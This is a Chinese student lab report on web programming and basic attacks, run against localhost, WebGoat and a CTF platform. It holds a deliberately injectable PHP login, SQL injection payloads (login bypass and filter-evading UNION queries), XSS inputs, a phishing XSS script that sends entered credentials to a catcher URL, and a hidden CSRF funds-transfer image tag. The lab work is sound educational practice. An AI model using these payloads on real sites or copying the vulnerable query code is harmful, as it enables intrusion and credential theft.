首页 > 其他分享 >20201226马瑞婕Exp-8 Web综合

20201226马瑞婕Exp-8 Web综合

时间:2023-05-25 19:55:30浏览次数:55  
标签:searchStr Web html 表单 我要 var 7.1 马瑞婕 20201226

目录

一、基础问题回答

1.1 .什么是表单

表单在网页中主要负责数据采集功能。一个表单有三个基本组成部分:
表单标签:这里面包含了处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。
表单域:包含了文本框、密码框、隐藏域、多行文本框、复选框、单选框、下拉选择框和文件上传框等。
表单按钮:包括提交按钮、复位按钮和一般按钮;用于将数据传送到服务器上的CGI脚本或者取消输入,还可以用表单按钮来控制其他定义了处理脚本的处理工作。

1.2 浏览器可以解析运行什么语言

支持HTML(超文本标记语言)
XML(可扩展标记语言)
Python
PHP
JavaScript
ASP等众多脚本语言

1.3 WebServer支持哪些动态语言

最常用的三种动态网页语言有ASP(ActiveServerPages),JSP(JavaServerPages),PHP(HypertextPreprocessor)。
ASP全名ActiveServerPages,是一个WEB服务器端的开发环境,利用它可以产生和执行动态的、互动的、高性能的WEB服务应用程序。ASP采用脚本语言VBScript(Javascript)作为自己的开发语言。
JSP是Sun公司推出的新一代网站开发语言,Sun公司借助自己在Java上的不凡造诣,将Java从Java应用程序和JavaApplet之外,又有新的硕果,就是JSP,JavaServerPage。JSP可以在Serverlet和JavaBean的支持下,完成功能强大的站点程序。
PHP是一种跨平台的服务器端的嵌入式脚本语言。它大量地借用C,Java和Perl语言的语法,并耦合PHP自己的特性,使WEB开发者能够快速地写出动态产生页面。
三者都提供在HTML代码中混合某种程序代码、由语言引擎解释执行程序代码的能力。但JSP代码被编译成Servlet并由Java虚拟机解释执行,这种编译操作仅在对JSP页面的第一次请求时发生。在ASP、PHP、JSP环境下,HTML代码主要负责描述信息的显示样式,而程序代码则用来描述处理逻辑。普通的HTML页面只依赖于Web服务器,而ASP、PHP、JSP页面需要附加的语言引擎分析和执行程序代码。程序代码的执行结果被重新嵌入到HTML代码中,然后一起发送给浏览器。ASP、PHP、JSP三者都是面向Web服务器的技术,客户端浏览器不需要任何附加的软件支持。

二、Web前端HTML

2.1 启动apache服务

service apache2 start

打开浏览器输入127.0.0.1,可以代开apche的默认页面

2.2 新建html文件

2.2.1 编写一个简单的含有表单的HTML

在/var/www/html目录下,新建一个简单的含有表单的html文件test.html

<html>
<head>
<meta http-equiv="Content-Type" content="test/html; charset=utf-8" />
<title>20201226</title>
</head>

<body>

    <h2 align="center">Login</h2>
		<center>
        <form action="login" method="post">
            <input placeholder="user" name="user" class="user" type="text">
            <br>
            </br>
            <input  placeholder="Password" name="Password" class="pass" type="password">
            <br>
            </br>
            <input type="submit" value="Login">
        </form>
		</center>
</body>
</html>

vi /var/www/html/test.html

2.2.2 测试

在浏览器中输入/var/www/html/test.html打开

三、Web前端javascipt

3.1 注册登录

3.1.1 登陆界面

编写登录界面,在刚才的基础上加入对用户名和密码为空时的验证

<html>
<head>
<title>20201226</title>
<meta http-equiv="Content-Type" content="test/html; charset=utf-8" />
</head>

<body>
	<h2>Login</h2>
    	<center>
		<form action="myindex" method="get" name="form_login">
			<input placeholder="username" name="user" class="user" type="text" onfocus="if (this.value=='Your name') this.value='';" />
			<br>
			</br>
			<input  placeholder="Password" name="Password" class="pass" type="password" onfocus="if (this.value=='Your password') this.value='';"/>
			<br>
			</br>
			<input type="submit" value="Login" onClick="return validateLogin()"/>
		</form>
    	</center>
<!--//main-->
<script language="javascript">  
    function validateLogin(){  
        var sUserName = document.form_login.user.value;  
        var sPassword = document.form_login.Password.value;    
        if ((sUserName =="") || (sUserName=="Your name")){  
        alert("need name!");  
        return false ;  
        }  

        if ((sPassword =="") || (sPassword=="Your password")){  
        alert("need password!");  
        return false ;  
        }  
    }
</script>  

</body>
</html>

未输入密码会弹出提示(用户名也一样)

3.1.2 登录成功界面

编写登录成功后跳转的界面,主要任务是获取用户名参数并显示出来

<html>

<head>
<title>myindex</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<script language="JavaScript" type="text/javascript">
 
//获取Location对象的search属性值
var searchStr = location.search;
 
//由于searchStr属性值包括“?”,所以除去该字符
searchStr = searchStr.substr(1);
 
//将searchStr字符串分割成数组,数组中的每一个元素为一个参数和参数值
var searchs = searchStr.split("&");
 
//获得第一个参数和值
var username = searchs[0].split("=");
document.write("欢迎您:"+username[1]);
</script>

<body>

    <h2 align="center">myindex</h2>

</body>
</html>

点击login进入此页面,左上角显示用户登录的用户名

3.2 尝试注入攻击

注入的html代码

<script language="JavaScript" type="text/javascript">alert("我要吃西瓜我要吃西瓜我要吃西瓜我要吃西瓜我要吃西瓜");</script>

小改了一下

<html>

<head>
<title>myindex</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>

    <h2 align="center">myindex</h2>
    <h3 id="n"></h3>
<script language="JavaScript" type="text/javascript">
function myname() {

var searchStr = location.search;
 
searchStr = searchStr.substr(1);
 
var searchs = searchStr.split("&");
 
var username = searchs[0].split("=");
return username[1];
}

document.getElementById("n").innerHTML = decodeURIComponent(myname());
</script>
</body>
<a id='n'></a>
</html>

注入html

效果如图

四、MySQL基础

4.1 安装,启动MySQL

service mysql start
mysql -u root -p# 默认密码是 password

4.2 新建数据库、用户、授予权限

依次输入下述命令
use mysql; //选择使用mysql这个数据库
select user, password, host from user; //查看当前用户信息
create database jch; //建立数据库
show databases; //查看存在的数据库
use jch; //使用我们创建的数据库
create table login (username VARCHAR(20),password VARCHAR(20));
//建立数据库表,并设置字段基本信息
show tables; //查看表信息
insert into login values('[email protected]','4311');
grant select,insert,update,delete on jch.* to zhuyuexin@localhost identified by "4311";
//将对某数据库的所有表的select,insert,update,delete权限授予IP登录的用户


上述实验完成了创建用户、授予权限的步骤,我们创建的用户是“mrj1226”,密码是“1226”

4.3 验证

mysql -u mrj1226 -p

五、Web后端

5.1 编写php网页

在/var/www/html文件夹下新建phptest.php

<?php
echo "Hello word! This is my php test page!";
?>

5.2 连接数据库,进行用户认证

写test.php代码

<?php
$uname=$_POST["user"];
$pwd=$_POST["Password"];
echo $uname;
$query_str="SELECT * FROM login where username='$uname' and password='$pwd';";
$mysqli = new mysqli("127.0.0.1", "mrj1226", "1226", "mrj");
$query_str1="use mrj;";

/* check connection */
if ($mysqli->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}
echo "connection ok!";
/* Select queries return a resultset */
if ($result = $mysqli->query($query_str1))
echo"<br>Success into database!";
echo$uname;
if ($result = $mysqli->query($query_str)) {
    if ($result->num_rows > 0 ){
            echo "<br> {$uname}:Welcome!!! <br> ";
    } 
    else {
        echo "<br> login failed!!!! <br> " ; }
    /* free result set */
    $result->close();
}
$mysqli->close();
?>

将之前的test.html中的中的action设为test.php get改为POST

登录127.0.0.1/test.html查看
密码正确

密码错误

六、最简单的攻击

6.1 SQL注入

输入' or 1=1#,密码随意

登录成功

6.2 XSS攻击测试

将一张图片放在/var/www/html目录下,在用户名输入框输入<img src="1.jpg">,密码随意

登录失败但是图片嵌进去了

将攻击代码改为
<script language="JavaScript" type="text/javascript">alert("我要吃西瓜我要吃西瓜我要吃西瓜我要吃西瓜我要吃西瓜");</script>

七、选做

netstat -tupln | grep 8080

查看8080端口是否被占用
下载jdk-8u161-linux-x64.tar.gz
按链接完成配置
配置好截图如下

下载 webgoat-container-7.0.1-war-exec.jar 文件
https://github.com/WebGoat/WebGoat/releases?after=8.0.0

java -jar webgoat-container-7.0.1-war-exec.jar

浏览器打开WebGoat,输入http://localhost:8080/WebGoat,用户名和密码都为guest

http://localhost:8080/WebGoat

7.1 SQL注入攻击

选择的是i春秋平台

or失败

and、or、select、=、>、< 都是非法字符

7.1.1 判断字段数

o<>rder by 数字#

如上图所示:输入到4的时候就没有结果了,可见字段数(column列)为3

7.1.2 寻找回显字段

1 union sel<>ect 1,2,3#

数据库名称为sqli

7.1.4 查询数据表名

1 union sel<>ect 1,group_concat(table_name),3 from information_schema.tables where table_schema='sqli'#

MySQL GROUP_CONCAT()函数将组中的字符串连接成为具有各种选项的单个字符串

可见有info和users两个数据表

7.1.5 查询数据表的字段名称

1 union sel<>ect 1,group_concat(column_name),3 from information_schema.columns where table_name='info'#

查询到三个字段,与上文中的判断一致,第三个字段应该就是需要的flag

7.1.6 获取flag值

1 union sel<>ect 1,flAg_T5ZNdrm,3 from info#
1 union sel<>ect 1,flag_9c861b688330,3 from users#

找到了flag

另一个数据表中未找到flag,应该数据表为空

7.2 XSS攻击

在菜单栏中选择 Cross‐Site Scripting ,展开页面中选择 Phishing with XSS

将下面这段代码输入到 “Search:” 输入框中,点击 search 结果会出现代码中所指定的绿、红、蓝三块div,并在下方出现了用于欺骗用户的提示语 “This feature requires account login:” 和用户名、密码输入框。

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

7.3 CSRF攻击

在菜单栏中选择 Cross‐Site Scripting ,展开页面中选择 Cross Site Request Forgery (CSRF)

在title中输入任何参数,message框中输入

<img src="http://localhost:8080/WebGoat/attack?Screen=285&menu=900&transferFunds=5000" width="1" height="1" />

以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击 Submit 提交
这里src值、menu值要根据上一步查看的结果修改,转账数额随便输入,eg:5000
宽高设置成1像素的目的是隐藏该图片
提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

八、实验心得

本实验是在Linux下实现的一个简单的前端+后台编程,不使用java语言。一个简单的日志函数。可以在不设置Apache环境或数据库的情况下使用它。而且,MySQL的使用非常简单和直观。这是一个学习网络安全的好平台。我在理解和掌握HTML的同时,也用到了php,使我们对PHP有了基本的了解。通过实验说明了知识体系,并将XSS场景注入到SQL攻击中。CSRF延伸至现场。我觉得网上的安全内容很有趣。我会找机会机会了解更多,攻击重在实践,需要大量的经验才会比较得心应手。

标签:searchStr,Web,html,表单,我要,var,7.1,马瑞婕,20201226
From: https://www.cnblogs.com/marryj/p/17422686.html

相关文章

  • [4月摸鱼计划] 浅谈 InfruWeb3黑客松赛事
    事情起因:https://marketing.csdn.net/p/6798543ad6fdaad547c6431dd7df955a之前没接触过区块链这块,这次随即报名NFT这块。下面谈我的学习过程:第一阶段资料搜索(简单看看就行)什么是NFT?NFT是“非同质化代币”的缩写,是一种基于区块链技术的数字资产。和比特币等传统加密货币不同的是,NFT......
  • 支持复制粘贴word公式的Web编辑器
    ​ 这种方法是servlet,编写好在web.xml里配置servlet-class和servlet-mapping即可使用后台(服务端)java服务代码:(上传至ROOT/lqxcPics文件夹下)<%@ page language="java" import="java.util.*" pageEncoding="utf-8"%><%@     page contentType="text/html;cha......
  • Spring Web Body 转化常见错误
    案例1:Noconverterfoundforreturnvalueoftype在直接用SpringMVC而非SpringBoot来编写Web程序时,我们基本都会遇到“Noconverterfoundforreturnvalueoftype”这种错误。实际上,我们编写的代码都非常简单,例如下面这段代码:(https://www.java567.com,搜"spring"......
  • HTTP - HTTP请求 与 HTTP响应 【Web后端开发基础】
    一、HTTP介绍HTTP(HyperTextTransferProtocol)超文本传输协议,是互联网上应用最为广泛的一种网络协议。 作用: 规范浏览器和服务器之间通信时传输数据的格式 特点: 基于TCP协议:面向连接,安全 基于请求-响应模型的:一次请求对应一次响应 HTTP协议是无状态的......
  • Spring Web URL 解析常见错误
    案例1:当@PathVariable遇到/在解析一个URL时,我们经常会使用@PathVariable这个注解。例如我们会经常见到如下风格的代码:(https://www.java567.com,搜"spring") @RestController @Slf4j publicclassHelloWorldController{  @RequestMapping(path="/hi1/{name}",......
  • web安全之文件上传漏洞、文件包含漏洞
    文件上传原理:对上传的文件未进行过滤,或者过滤不严,导致恶意文件被成功上传到网站。防御:代码加强、WAF拦截、webshell查杀、正则搜索网站目录是否存在eval等敏感字段。前端JS绕过更改前端限制burp抓包MIME绕过 漏洞利用文件头欺骗  gif89a<%evalrequest("pwd")%>fu......
  • web3j操作和以太坊基础知识
    web3j操作和以太坊基础知识以太坊中的基本单位单位很多,主要需要关注的是下面3种。最小单位是wei其中ether就是常说的1个ETH。1个ETH是1e18wei。1个Gwei就是常说的gas,一个gas即一个Gwei=1e9wei。单位wei值Weiwei11weiGwei(shannon)1e9wei1,000,00......
  • web安全之SQL注入漏洞
    SQL注入原理:用户能控制输入的内容;Web应用把用户输入的内容带入到数据库中执行。分类:依据注入点参数类型分类:数字型注入、字符型注入、搜索型注入        依据获取信息的方式分类:union注入、布尔盲注、时间盲注、报错注入、堆叠查询注入        依据请求方......
  • Flex实践—So beautiful webpage.....
        前不久听说应该开始学习Flex,因为我的骨子里还是懒的,所以一直不想装这种专业软件,其实装软件配环境对我来说一直是比写代码还痛苦的事,今天下午终于赖不住无聊,下了个FlexBuilder3,装了一下,找了个注册码,开始感受它的神奇。。。。    让我惊讶的是Flex设计出来的页面效......
  • WebShell 特征分析
    WebShell特征分析作者:HaiCheng@助安社区,关注公众号领取学习路线和资料。​ WebShell是黑客经常使用的一种恶意脚本,其目的是获得服务器的执行操作权限,常见的webshell编写语言为asp/jsp/php。主要用于网站管理,服务器管理,权限管理等操作。使用方法简单,只需要上传一个代码文件,通过......